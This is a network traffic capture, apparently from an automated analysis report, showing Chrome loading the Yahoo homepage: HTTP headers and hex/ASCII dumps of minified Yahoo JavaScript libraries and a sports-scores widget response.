2024-01-10 23:27:11 UTC	778	IN	Data Raw: 74 68 3e 30 26 26 28 61 3d 4a 53 4f 4e 2e 70 61 72 73 65 28 75 29 29 7d 69 2e 70 6f 73 69 74 69 6f 6e 73 26 26 74 2e 6d 61 6b 65 42 65 6e 6a 69 43 61 6c 6c 28 69 2c 66 2c 61 29 7d 63 61 74 63 68 28 6e 29 7b 65 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 74 2e 5f 6f 70 74 69 6f 6e 73 2e 70 72 6f 70 73 2e 65 72 72 6f 72 43 6c 61 73 73 29 2c 6f 2e 64 65 73 74 72 6f 79 28 29 7d 7d 29 7d 7d 29 2e 63 61 74 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 7d 29 7d 7d 2c 7b 6b 65 79 3a 22 68 61 6e 64 6c 65 53 63 72 6f 6c 6c 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 76 61 6c 69 64 61 74 65 57 69 74 68 44 65 62 6f 75 6e 63 65 28 29 7d 7d 2c 7b 6b 65 79 3a 22 68 61 6e 64 6c 65 52 65 73 69 7a 65 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 Data Ascii: th>0&&(a=JSON.parse(u))}i.positions&&t.makeBenjiCall(i,f,a)}catch(n){e.classList.add(t._options.props.errorClass),o.destroy()}})}}).catch(function(e){})}},{key:"handleScroll",value:function(){this._validateWithDebounce()}},{key:"handleResize",value:functi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.4	49854	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:11 UTC	547	OUT	GET /aaq/wf/wf-clipboard-copy-1.0.2-modern.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:11 UTC	802	IN	HTTP/1.1 200 OK x-amz-id-2: lkfojscSinyTXMYxN+xG1HwvSZ6xUbPiuXSBjpZNzC8enHZtNJXaGyfx1FP28IRsbI55Iq6t2r0= x-amz-request-id: 24BRWBS8MQ0K2D1J Date: Wed, 10 Jan 2024 23:27:12 GMT Last-Modified: Mon, 24 May 2021 16:40:35 GMT ETag: "9d2a8efbe3fe9705e54df41100ea2dae" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: s6ZljWUzqa9Ss0D5hEgjXb_jGlec.wYG Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 4365 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-01-10 23:27:11 UTC	1300	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 77 61 66 65 72 2d 63 6c 69 70 62 6f 61 72 64 2d 63 6f 70 79 22 2c 5b 5d 2c 74 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 5b 22 77 61 66 65 72 2d 63 6c 69 70 62 6f 61 72 64 2d 63 6f 70 79 22 5d 3d 74 28 29 3a 28 65 2e 77 61 66 65 72 3d 65 2e 77 61 66 65 72 7c 7c 7b 7d 2c 65 2e 77 61 66 65 72 2e 77 61 66 65 72 73 3d Data Ascii: !function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-clipboard-copy",[],t):"object"==typeof exports?exports["wafer-clipboard-copy"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=
2024-01-10 23:27:11 UTC	1300	IN	Data Raw: 74 69 6f 6e 2c 20 6e 6f 74 20 22 2b 74 79 70 65 6f 66 20 74 29 3b 65 2e 70 72 6f 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 74 26 26 74 2e 70 72 6f 74 6f 74 79 70 65 2c 7b 63 6f 6e 73 74 72 75 63 74 6f 72 3a 7b 76 61 6c 75 65 3a 65 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 31 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 7d 29 2c 74 26 26 28 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 65 2c 74 29 3a 65 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 74 29 7d 66 75 6e 63 74 69 6f 6e 20 63 28 65 2c 74 29 7b 69 66 28 21 28 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 74 29 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 Data Ascii: tion, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}function c(e,t){if(!(e instanceof t))throw new TypeError(
2024-01-10 23:27:11 UTC	1300	IN	Data Raw: 63 6f 70 79 2d 74 65 78 74 22 5d 2c 68 3d 5b 22 68 61 6e 64 6c 65 43 6f 70 79 22 5d 2c 77 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 65 29 7b 76 61 72 20 6f 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 31 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 31 5d 3f 61 72 67 75 6d 65 6e 74 73 5b 31 5d 3a 7b 7d 2c 61 3d 6f 2e 73 65 6c 65 63 74 6f 72 3b 72 28 74 68 69 73 2c 74 29 3b 76 61 72 20 63 3d 6e 28 74 68 69 73 2c 28 74 2e 5f 5f 70 72 6f 74 6f 5f 5f 7c 7c 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 74 29 29 2e 63 61 6c 6c 28 74 68 69 73 2c 65 2c 7b 73 65 6c 65 63 74 6f 72 3a 61 7d 2c 7b 53 54 41 54 45 5f 41 54 54 52 53 3a 62 7d 29 29 2c 69 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 Data Ascii: copy-text"],h=["handleCopy"],w=function(e){function t(e){var o=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},a=o.selector;r(this,t);var c=n(this,(t.__proto__\|\|Object.getPrototypeOf(t)).call(this,e,{selector:a},{STATE_ATTRS:b})),i=e.getAttribut
2024-01-10 23:27:11 UTC	465	IN	Data Raw: 65 61 3b 74 7c 7c 28 74 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 74 65 78 74 61 72 65 61 22 29 2c 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 74 2e 73 74 79 6c 65 2c 7b 62 6f 72 64 65 72 3a 22 6e 6f 6e 65 22 2c 62 6f 78 53 68 61 64 6f 77 3a 22 6e 6f 6e 65 22 2c 64 69 73 70 6c 61 79 3a 22 6e 6f 6e 65 22 2c 68 65 69 67 68 74 3a 22 32 65 6d 22 2c 6c 65 66 74 3a 30 2c 6f 75 74 6c 69 6e 65 3a 22 6e 6f 6e 65 22 2c 70 61 64 64 69 6e 67 3a 30 2c 70 6f 73 69 74 69 6f 6e 3a 22 66 69 78 65 64 22 2c 74 6f 70 3a 30 2c 77 69 64 74 68 3a 22 32 65 6d 22 7d 29 2c 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 74 29 29 2c 74 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 62 6c 6f 63 6b 22 2c 74 2e 76 61 6c 75 Data Ascii: ea;t\|\|(t=document.createElement("textarea"),Object.assign(t.style,{border:"none",boxShadow:"none",display:"none",height:"2em",left:0,outline:"none",padding:0,position:"fixed",top:0,width:"2em"}),document.body.appendChild(t)),t.style.display="block",t.valu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.4	49855	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:11 UTC	1132	OUT	POST /fp_ms/_rcv/remote?ctrl=ScoresRefresh&lang=en-US&m_id=react-wafer-scores&m_mode=json&region=US&rid=0gast8pipu9uc&site=fp&apptype=default&instance_id=scores&_evtSrc=deferLoad HTTP/1.1 Host: www.yahoo.com Connection: keep-alive Content-Length: 276 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" content-type: application/json x-webp: 1 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1
2024-01-10 23:27:11 UTC	276	OUT	Data Raw: 7b 22 62 75 63 6b 65 74 22 3a 22 64 72 6f 70 5f 68 65 69 6d 64 61 6c 6c 5f 68 6f 6d 65 70 61 67 65 5f 63 6f 6e 74 72 6f 6c 5f 62 75 63 6b 65 74 2c 4d 69 6d 69 63 50 72 6f 76 69 64 65 72 4c 69 73 74 76 32 2d 63 6f 70 79 2c 73 65 61 6d 6c 65 73 73 22 2c 22 63 6f 6e 66 69 67 22 3a 7b 22 78 68 72 50 61 74 68 50 72 65 66 69 78 22 3a 22 2f 66 70 5f 6d 73 2f 5f 72 63 76 2f 72 65 6d 6f 74 65 22 7d 2c 22 63 74 72 6c 22 3a 22 53 63 6f 72 65 73 52 65 66 72 65 73 68 22 2c 22 69 6e 73 74 61 6e 63 65 5f 69 64 22 3a 22 73 63 6f 72 65 73 22 2c 22 6d 5f 69 64 22 3a 22 72 65 61 63 74 2d 77 61 66 65 72 2d 73 63 6f 72 65 73 22 2c 22 6d 5f 6d 6f 64 65 22 3a 22 6a 73 6f 6e 22 2c 22 73 70 61 63 65 49 64 22 3a 32 30 32 33 35 33 38 30 37 35 2c 22 77 6f 65 69 64 22 3a 31 32 37 36 Data Ascii: {"bucket":"drop_heimdall_homepage_control_bucket,MimicProviderListv2-copy,seamless","config":{"xhrPathPrefix":"/fp_ms/_rcv/remote"},"ctrl":"ScoresRefresh","instance_id":"scores","m_id":"react-wafer-scores","m_mode":"json","spaceId":2023538075,"woeid":1276
2024-01-10 23:27:12 UTC	1279	IN	HTTP/1.1 200 OK referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000 content-type: application/json; charset=utf-8 status-code: 200 x-app-version: 1.0.36844 x-applet-version: 1.0.36844 x-instance-id: scores x-applet-id: react-wafer-scores vary: Accept-Encoding date: Wed, 10 Jan 2024 23:27:11 GMT x-envoy-upstream-service-time: 18 server: ATS x-envoy-decorator-operation: tdv2-app-fp--mtls-production-bf1.frontpage-k8s-frontend.svc.yahoo.local:4080/* Age: 2 Content-Security-Policy: sandbox allow-forms allow-same-origin allow-scripts allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&site=frontpage&region=US&lang=en-US&device=desktop&yrid=34cq825ipu9uf&partner=; frame-ancestors 'self' https://.techcrunch.com https://.yahoo.com https://.aol.com https://.huffingtonpost.com https://.oath.com https://.search.yahoo.com https://.search.aol.com https://.search.huffpost.com htts://.verizonmedia.com https://.publishing.oath.com Transfer-Encoding: chunked Connection: close Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 33 33 34 36 0d 0a 7b 22 61 73 73 65 74 73 22 3a 7b 22 63 73 73 22 3a 5b 7b 22 6c 6f 63 61 74 69 6f 6e 22 3a 22 74 6f 70 22 2c 22 76 61 6c 75 65 22 3a 22 2f 61 61 71 2f 63 70 72 6f 70 73 2f 63 6f 6c 6f 72 73 5f 31 2e 31 2e 32 37 2e 6d 69 6e 2e 63 73 73 22 2c 22 6e 61 6d 65 22 3a 22 63 75 73 74 6f 6d 2d 70 72 6f 70 65 72 74 69 65 73 22 2c 22 76 65 72 73 69 6f 6e 22 3a 22 31 2e 31 2e 32 37 22 7d 2c 7b 22 6c 6f 63 61 74 69 6f 6e 22 3a 22 74 6f 70 22 2c 22 76 61 6c 75 65 22 3a 22 2f 61 61 71 2f 66 70 2f 63 73 73 2f 72 65 61 63 74 2d 77 61 66 65 72 2d 73 63 6f 72 65 73 2e 53 63 6f 72 65 73 52 65 66 72 65 73 68 2e 61 74 6f 6d 69 63 2e 6c 74 72 2e 65 64 39 30 64 31 33 63 61 36 39 66 32 38 38 30 62 64 32 62 66 66 35 64 32 38 37 39 66 33 31 61 2e 6d 69 6e 2e 63 73 Data Ascii: 3346{"assets":{"css":[{"location":"top","value":"/aaq/cprops/colors_1.1.27.min.css","name":"custom-properties","version":"1.1.27"},{"location":"top","value":"/aaq/fp/css/react-wafer-scores.ScoresRefresh.atomic.ltr.ed90d13ca69f2880bd2bff5d2879f31a.min.cs
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 76 2f 72 65 6d 6f 74 65 3f 63 72 75 6d 62 3d 7a 66 53 4e 38 32 5a 41 62 65 44 26 61 6d 70 3b 63 74 72 6c 3d 53 63 6f 72 65 73 52 65 66 72 65 73 68 26 61 6d 70 3b 6c 61 6e 67 3d 65 6e 2d 55 53 26 61 6d 70 3b 6d 5f 69 64 3d 72 65 61 63 74 2d 77 61 66 65 72 2d 73 63 6f 72 65 73 26 61 6d 70 3b 6d 5f 6d 6f 64 65 3d 6a 73 6f 6e 26 61 6d 70 3b 72 65 67 69 6f 6e 3d 55 53 26 61 6d 70 3b 73 69 74 65 3d 66 70 26 61 6d 70 3b 74 7a 3d 41 6d 65 72 69 63 61 25 32 46 4e 65 77 5f 59 6f 72 6b 5c 22 20 61 75 74 6f 43 6f 6d 70 6c 65 74 65 3d 5c 22 6f 66 66 5c 22 20 63 6c 61 73 73 3d 5c 22 77 61 66 65 72 2d 66 6f 72 6d 20 44 28 69 62 29 20 50 6f 73 28 72 29 20 50 73 74 61 72 74 28 34 70 78 29 20 46 6c 28 65 6e 64 29 20 4f 28 6e 29 3a 66 20 4d 62 28 30 29 5c 22 20 64 61 74 61 Data Ascii: v/remote?crumb=zfSN82ZAbeD&ctrl=ScoresRefresh&lang=en-US&m_id=react-wafer-scores&m_mode=json&region=US&site=fp&tz=America%2FNew_York\" autoComplete=\"off\" class=\"wafer-form D(ib) Pos(r) Pstart(4px) Fl(end) O(n):f Mb(0)\" data
2024-01-10 23:27:12 UTC	57	IN	Data Raw: 65 5c 22 2f 3e 3c 6c 61 62 65 6c 20 66 6f 72 3d 5c 22 6c 65 61 67 75 65 2d 73 65 6c 65 63 74 5c 22 20 63 6c 61 73 73 3d 5c 22 48 69 64 64 65 6e 5c 22 3e 43 68 61 6e 67 65 Data Ascii: e\"/><label for=\"league-select\" class=\"Hidden\">Change
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 20 53 70 6f 72 74 73 20 74 6f 20 64 69 73 70 6c 61 79 20 64 69 66 66 65 72 65 6e 74 20 73 63 6f 72 65 73 3c 2f 6c 61 62 65 6c 3e 3c 73 65 6c 65 63 74 20 69 64 3d 5c 22 6c 65 61 67 75 65 2d 73 65 6c 65 63 74 5c 22 20 6e 61 6d 65 3d 5c 22 63 6f 6e 66 69 67 2e 6c 65 61 67 75 65 49 64 5c 22 20 63 6c 61 73 73 3d 5c 22 6c 65 61 67 75 65 2d 73 65 6c 65 63 74 20 42 67 63 28 2d 2d 77 68 69 74 65 29 20 42 64 28 30 29 20 4f 28 6e 29 3a 66 20 54 61 6c 28 65 6e 64 29 20 54 61 28 65 6e 64 29 20 50 65 6e 64 28 32 70 78 29 20 4d 74 28 34 70 78 29 20 46 7a 28 31 32 70 78 29 20 43 75 72 28 70 29 20 43 28 2d 2d 6d 69 64 6e 69 67 68 74 29 20 43 28 2d 2d 68 75 6c 6b 2d 70 61 6e 74 73 29 3a 68 20 46 77 28 36 30 30 29 20 4c 68 28 31 36 70 78 29 5c 22 20 64 61 74 61 2d 74 65 73 Data Ascii: Sports to display different scores</label><select id=\"league-select\" name=\"config.leagueId\" class=\"league-select Bgc(--white) Bd(0) O(n):f Tal(end) Ta(end) Pend(2px) Mt(4px) Fz(12px) Cur(p) C(--midnight) C(--hulk-pants):h Fw(600) Lh(16px)\" data-tes
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 22 63 61 74 3a 74 72 65 6e 64 69 6e 67 3b 65 6c 6d 3a 70 65 72 69 6f 64 3b 69 74 63 3a 31 3b 3b 73 6c 6b 3a 59 65 73 74 65 72 64 61 79 5c 22 20 64 61 74 61 2d 77 66 2d 62 6f 64 79 3d 5c 22 7b 26 71 75 6f 74 3b 63 6f 6e 66 69 67 26 71 75 6f 74 3b 3a 7b 26 71 75 6f 74 3b 67 61 6d 65 73 4f 6e 6c 79 26 71 75 6f 74 3b 3a 31 2c 26 71 75 6f 74 3b 6d 61 78 47 61 6d 65 73 26 71 75 6f 74 3b 3a 33 2c 26 71 75 6f 74 3b 74 72 65 6e 64 69 6e 67 57 69 74 68 4d 79 54 65 61 6d 73 45 6e 61 62 6c 65 64 26 71 75 6f 74 3b 3a 66 61 6c 73 65 2c 26 71 75 6f 74 3b 78 68 72 50 61 74 68 50 72 65 66 69 78 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 2f 66 70 5f 6d 73 2f 5f 72 63 76 2f 72 65 6d 6f 74 65 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 6c 65 61 67 75 65 49 64 26 71 75 6f 74 3b 3a 26 Data Ascii: "cat:trending;elm:period;itc:1;;slk:Yesterday\" data-wf-body=\"{"config":{"gamesOnly":1,"maxGames":3,"trendingWithMyTeamsEnabled":false,"xhrPathPrefix":"/fp_ms/_rcv/remote","leagueId":&
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 20 63 6c 61 73 73 3d 5c 22 42 64 28 6e 29 20 42 67 63 28 74 29 20 43 28 2d 2d 64 6f 6c 70 68 69 6e 29 20 44 28 69 62 29 20 46 77 28 36 30 30 29 20 46 7a 28 31 32 70 78 29 20 4d 62 28 30 29 20 4f 28 6e 29 3a 66 20 56 61 28 62 29 20 54 61 28 63 29 20 74 61 62 20 77 61 66 65 72 2d 66 65 74 63 68 20 72 61 70 69 64 6e 6f 66 6f 6c 6c 6f 77 20 50 28 30 29 20 61 63 74 69 76 65 2d 73 63 6f 72 65 73 2d 74 61 62 20 4d 65 6e 64 28 38 70 78 29 5c 22 20 64 61 74 61 2d 79 6c 6b 3d 5c 22 63 61 74 3a 74 72 65 6e 64 69 6e 67 3b 65 6c 6d 3a 70 65 72 69 6f 64 3b 69 74 63 3a 31 3b 3b 73 6c 6b 3a 54 6f 64 61 79 5c 22 20 64 61 74 61 2d 77 66 2d 62 6f 64 79 3d 5c 22 7b 26 71 75 6f 74 3b 63 6f 6e 66 69 67 26 71 75 6f 74 3b 3a 7b 26 71 75 6f 74 3b 67 61 6d 65 73 4f 6e 6c 79 26 71 Data Ascii: class=\"Bd(n) Bgc(t) C(--dolphin) D(ib) Fw(600) Fz(12px) Mb(0) O(n):f Va(b) Ta(c) tab wafer-fetch rapidnofollow P(0) active-scores-tab Mend(8px)\" data-ylk=\"cat:trending;elm:period;itc:1;;slk:Today\" data-wf-body=\"{"config":{"gamesOnly&q
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 30 29 20 61 63 74 69 76 65 2d 73 63 6f 72 65 73 2d 74 61 62 5f 42 78 73 68 28 24 73 63 6f 72 65 73 2d 73 65 6c 65 63 74 65 64 2d 74 61 62 2d 62 78 73 68 29 20 61 63 74 69 76 65 2d 73 63 6f 72 65 73 2d 74 61 62 5f 42 67 63 28 23 66 66 66 29 20 61 63 74 69 76 65 2d 73 63 6f 72 65 73 2d 74 61 62 5f 43 28 2d 2d 69 6e 6b 77 65 6c 6c 29 20 44 28 69 62 29 5c 22 3e 54 6f 64 61 79 3c 2f 73 70 61 6e 3e 3c 2f 62 75 74 74 6f 6e 3e 3c 62 75 74 74 6f 6e 20 63 6c 61 73 73 3d 5c 22 42 64 28 6e 29 20 42 67 63 28 74 29 20 43 28 2d 2d 64 6f 6c 70 68 69 6e 29 20 44 28 69 62 29 20 46 77 28 36 30 30 29 20 46 7a 28 31 32 70 78 29 20 4d 62 28 30 29 20 4f 28 6e 29 3a 66 20 56 61 28 62 29 20 54 61 28 63 29 20 74 61 62 20 77 61 66 65 72 2d 66 65 74 63 68 20 72 61 70 69 64 6e 6f 66 Data Ascii: 0) active-scores-tab_Bxsh($scores-selected-tab-bxsh) active-scores-tab_Bgc(#fff) active-scores-tab_C(--inkwell) D(ib)\">Today</span></button><button class=\"Bd(n) Bgc(t) C(--dolphin) D(ib) Fw(600) Fz(12px) Mb(0) O(n):f Va(b) Ta(c) tab wafer-fetch rapidnof
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 61 6d 70 3b 74 7a 3d 41 6d 65 72 69 63 61 25 32 46 4e 65 77 5f 59 6f 72 6b 5c 22 20 72 6f 6c 65 3d 5c 22 74 61 62 5c 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 5c 22 42 64 72 73 28 33 30 70 78 29 20 42 67 63 28 2d 2d 6d 61 72 73 68 6d 61 6c 6c 6f 77 29 20 4c 68 28 31 36 70 78 29 20 50 79 28 35 70 78 29 20 50 78 28 31 34 70 78 29 20 46 7a 28 31 31 70 78 29 20 46 77 28 35 30 30 29 20 61 63 74 69 76 65 2d 73 63 6f 72 65 73 2d 74 61 62 5f 42 78 73 68 28 24 73 63 6f 72 65 73 2d 73 65 6c 65 63 74 65 64 2d 74 61 62 2d 62 78 73 68 29 20 61 63 74 69 76 65 2d 73 63 6f 72 65 73 2d 74 61 62 5f 42 67 63 28 23 66 66 66 29 20 61 63 74 69 76 65 2d 73 63 6f 72 65 73 2d 74 61 62 5f 43 28 2d 2d 69 6e 6b 77 65 6c 6c 29 20 44 28 69 62 29 5c 22 3e 54 6f 6d 6f 72 72 6f 77 3c 2f Data Ascii: amp;tz=America%2FNew_York\" role=\"tab\"><span class=\"Bdrs(30px) Bgc(--marshmallow) Lh(16px) Py(5px) Px(14px) Fz(11px) Fw(500) active-scores-tab_Bxsh($scores-selected-tab-bxsh) active-scores-tab_Bgc(#fff) active-scores-tab_C(--inkwell) D(ib)\">Tomorrow</
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 6c 61 73 73 3d 5c 22 54 61 28 63 29 20 46 7a 28 31 31 70 78 29 20 4c 68 28 31 32 70 78 29 20 43 28 2d 2d 63 68 61 72 63 6f 61 6c 29 20 46 77 28 34 30 30 29 5c 22 3e 39 3a 33 38 20 31 73 74 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 46 78 67 28 31 29 20 44 28 66 29 20 41 69 28 63 29 20 79 61 68 6f 6f 2d 73 61 6e 73 2d 63 6f 6e 64 20 46 78 64 28 72 72 29 5c 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 46 77 28 35 30 30 29 20 43 28 2d 2d 63 68 61 72 63 6f 61 6c 29 5c 22 3e 3c 69 6d 67 20 63 6c 61 73 73 3d 5c 22 44 28 62 29 20 77 61 66 65 72 2d 69 6d 67 5c 22 20 73 72 63 3d 5c 22 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 67 2f 69 6d 61 67 65 73 2f 73 70 61 63 65 62 61 6c 6c 2e 67 69 66 5c 22 20 64 61 74 61 2d 77 66 2d 73 72 63 3d Data Ascii: lass=\"Ta(c) Fz(11px) Lh(12px) C(--charcoal) Fw(400)\">9:38 1st</div><div class=\"Fxg(1) D(f) Ai(c) yahoo-sans-cond Fxd(rr)\"><div class=\"Fw(500) C(--charcoal)\"><img class=\"D(b) wafer-img\" src=\"https://s.yimg.com/g/images/spaceball.gif\" data-wf-src=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.4	49856	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:11 UTC	538	OUT	GET /aaq/wf/wf-form-1.34.5-modern.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:12 UTC	803	IN	HTTP/1.1 200 OK x-amz-id-2: OhuohaOPPl2tXLQkU+ZlXqsQ/gLN6alctcOoCigODEoogXeFE5wOwrbN3AUGfpTauksFmyQrltc= x-amz-request-id: 24BKGJY6YMX4RQ4X Date: Wed, 10 Jan 2024 23:27:12 GMT Last-Modified: Mon, 13 Nov 2023 22:30:39 GMT ETag: "94d07daa349c254b35ffcda6e54cc754" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: DBytk3Q0UWhxEEWk9lh0GV23FbLhPzJr Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 13714 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 77 61 66 65 72 2d 66 6f 72 6d 22 2c 5b 5d 2c 74 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 5b 22 77 61 66 65 72 2d 66 6f 72 6d 22 5d 3d 74 28 29 3a 28 65 2e 77 61 66 65 72 3d 65 2e 77 61 66 65 72 7c 7c 7b 7d 2c 65 2e 77 61 66 65 72 2e 77 61 66 65 72 73 3d 65 2e 77 61 66 65 72 2e 77 61 66 65 72 73 7c 7c 7b 7d 2c 65 Data Ascii: !function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-form",[],t):"object"==typeof exports?exports["wafer-form"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wafer.wafers\|\|{},e
